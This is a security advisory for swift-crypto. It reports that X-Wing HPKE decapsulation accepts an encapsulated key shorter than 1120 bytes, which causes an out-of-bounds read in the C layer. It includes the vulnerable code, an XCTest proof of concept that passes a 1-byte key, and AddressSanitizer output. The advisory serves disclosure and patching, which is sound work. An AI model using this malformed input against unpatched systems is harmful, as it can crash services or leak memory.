GHSA-9m44-rr2w-ppp7 Swift Crypto: X-Wing HPKE Decapsulation Accepts Malformed Ciphertext Length

• SwiftURL swift-crypto: >= 4.0.0, < 4.3.1 → fixed in 4.3.1

Summary The X-Wing decapsulation path accepts attacker-controlled encapsulated ciphertext bytes without enforcing the required fixed ciphertext length. The decapsulation call is forwarded into a C API, which expects a compile-time fixed-size ciphertext buffer of 1120 bytes. This creates an FFI memory-safety boundary issue when a shorter `Data` value is passed in, because the C code may read beyond the Swift buffer. The issue is reachable through initialization of an `HPKE.Recipient`, which decapsulates the provided `encapsulatedKey` during construction. A malformed `encapsulatedKey` can therefore trigger undefined behavior instead of a safe length-validation error. Details The `decapsulate` function of `OpenSSLXWingPrivateKeyImpl` does not perform a length check before passing the `encapsulated` data to the C API. ```swift func decapsulate(_ encapsulated: Data) throws -> SymmetricKey { try SymmetricKey(unsafeUninitializedCapacity: Int(XWING_SHARED_SECRET_BYTES)) { sharedSecretBytes, count in try encapsulated.withUnsafeBytes { encapsulatedSecretBytes in let rc = CCryptoBoringSSL_XWING_decap( sharedSecretBytes.baseAddress, encapsulatedSecretBytes.baseAddress, &self.privateKey ) guard rc == 1 else { throw CryptoKitError.internalBoringSSLError() } count = Int(XWING_SHARED_SECRET_BYTES) } } } ``` The C API does not have a runtime length parameter and instead expects a fixed-size buffer of 1120 bytes. ```c define XWING_CIPHERTEXT_BYTES 1120 OPENSSL_EXPORT int XWING_decap( uint8_t out_shared_secret[XWING_SHARED_SECRET_BYTES], const uint8_t ciphertext[XWING_CIPHERTEXT_BYTES], const struct XWING_private_key *private_key); ``` Since `decapsulate` accepts arguments of any length, an attacker controlled input can trigger an out-of-bounds read. The vulnerable code path can be reached through by initializing a `HPKE.Recipient`. This creates a new `HPKE.Context`, which decapsulates the attacker-controlled `enc` argument: ```swift init(recipientRoleWithCiphersuite ciphersuite: Ciphersuite, mode: Mode, enc: Data, psk: SymmetricKey?, pskID: Data?, skR: PrivateKey, info: Data, pkS: PrivateKey.PublicKey?) throws { let sharedSecret = try skR.decapsulate(enc) self.encapsulated = enc self.keySchedule = try KeySchedule(mode: mode, sharedSecret: sharedSecret, info: info, psk: psk, pskID: pskID, ciphersuite: ciphersuite) } ``` PoC This PoC constructs an `HPKE.Recipient` using the X-Wing ciphersuite and deliberately passes a 1-byte `encapsulatedKey` instead of the required 1120 bytes. In a normal run, the malformed input is accepted and it reaches the vulnerable decapsulation path, i.e., no size rejection occurs. In an AddressSanitizer run, the same PoC produces a `dynamic-stack-buffer-overflow` read, confirming memory-unsafe behavior. ```swift //===----------------------------------------------------------------------===// // // PoC for X-Wing malformed ciphertext-length decapsulation: // X-Wing decapsulation accepts malformed ciphertext length and forwards it to C. // // This test is intentionally unsafe and is expected to crash (or trip ASan) // on vulnerable builds when run. // //===----------------------------------------------------------------------===// if canImport(FoundationEssentials) import FoundationEssentials else import Foundation endif import XCTest if CRYPTO_IN_SWIFTPM && !CRYPTO_IN_SWIFTPM_FORCE_BUILD_API // Skip tests that require @testable imports of CryptoKit. else if !CRYPTO_IN_SWIFTPM_FORCE_BUILD_API @testable import CryptoKit else @testable import Crypto endif final class XWingMalformedEncapsulationPoCTests: XCTestCase { func testShortEncapsulatedKeyHPKERecipientInit() throws { if #available(iOS 19.0, macOS 16.0, watchOS 12.0, tvOS 19.0, macCatalyst 19.0, *) { let ciphersuite = HPKE.Ciphersuite.XWingMLKEM768X25519_SHA256_AES_GCM_256 let skR = try XWingMLKEM768X25519.PrivateKey.generate() let malformedEncapsulatedKey = Data([0x00]) // should be 1120 bytes // Vulnerable path: HPKE.Recipient -> skR.decapsulate(enc) -> XWING_decap(...) _ = try HPKE.Recipient( privateKey: skR, ciphersuite: ciphersuite, info: Data(), encapsulatedKey: malformedEncapsulatedKey ) XCTFail("Unexpectedly returned from malformed decapsulation path") } } } endif // CRYPTO_IN_SWIFTPM ``` Steps 1. Add the PoC XCTest above to the test suite. 2. Run the PoC normally to verify that malformed input is not rejected by length: ```bash swift test --filter XWingMalformedEncapsulationPoCTests/testShortEncapsulatedKeyHPKERecipientInit ``` 3. Run the same PoC with AddressSanitizer enabled to detect out-of-bounds memory access: ```bash swift test --sanitize=address --filter XWingMalformedEncapsulationPoCTests/testShortEncapsulatedKeyHPKERecipientInit ``` Results Normal run The PoC test reaches the `XCTFail` path. `HPKE.Recipient(...)` accepted a `1`-byte X-Wing encapsulated key instead of rejecting it for incorrect length. ```text Test Case 'XWingMalformedEncapsulationPoCTests.testShortEncapsulatedKeyHPKERecipientInit' started ... failed - Unexpectedly returned from malformed decapsulation path ``` AddressSanitizer run The sanitizer run aborts with a read overflow while executing the same PoC path. This confirms the memory-safety violation. The malformed ciphertext reaches memory-unsafe behavior in the decapsulation chain. ```text ERROR: AddressSanitizer: dynamic-stack-buffer-overflow READ of size 1 ... SUMMARY: AddressSanitizer: dynamic-stack-buffer-overflow ==...==ABORTING ``` Impact A remote attacker can supply a short X-Wing HPKE encapsulated key and trigger an out-of-bounds read in the C decapsulation path, potentially causing a crash or memory disclosure depending on runtime protections. Reported by Cantina.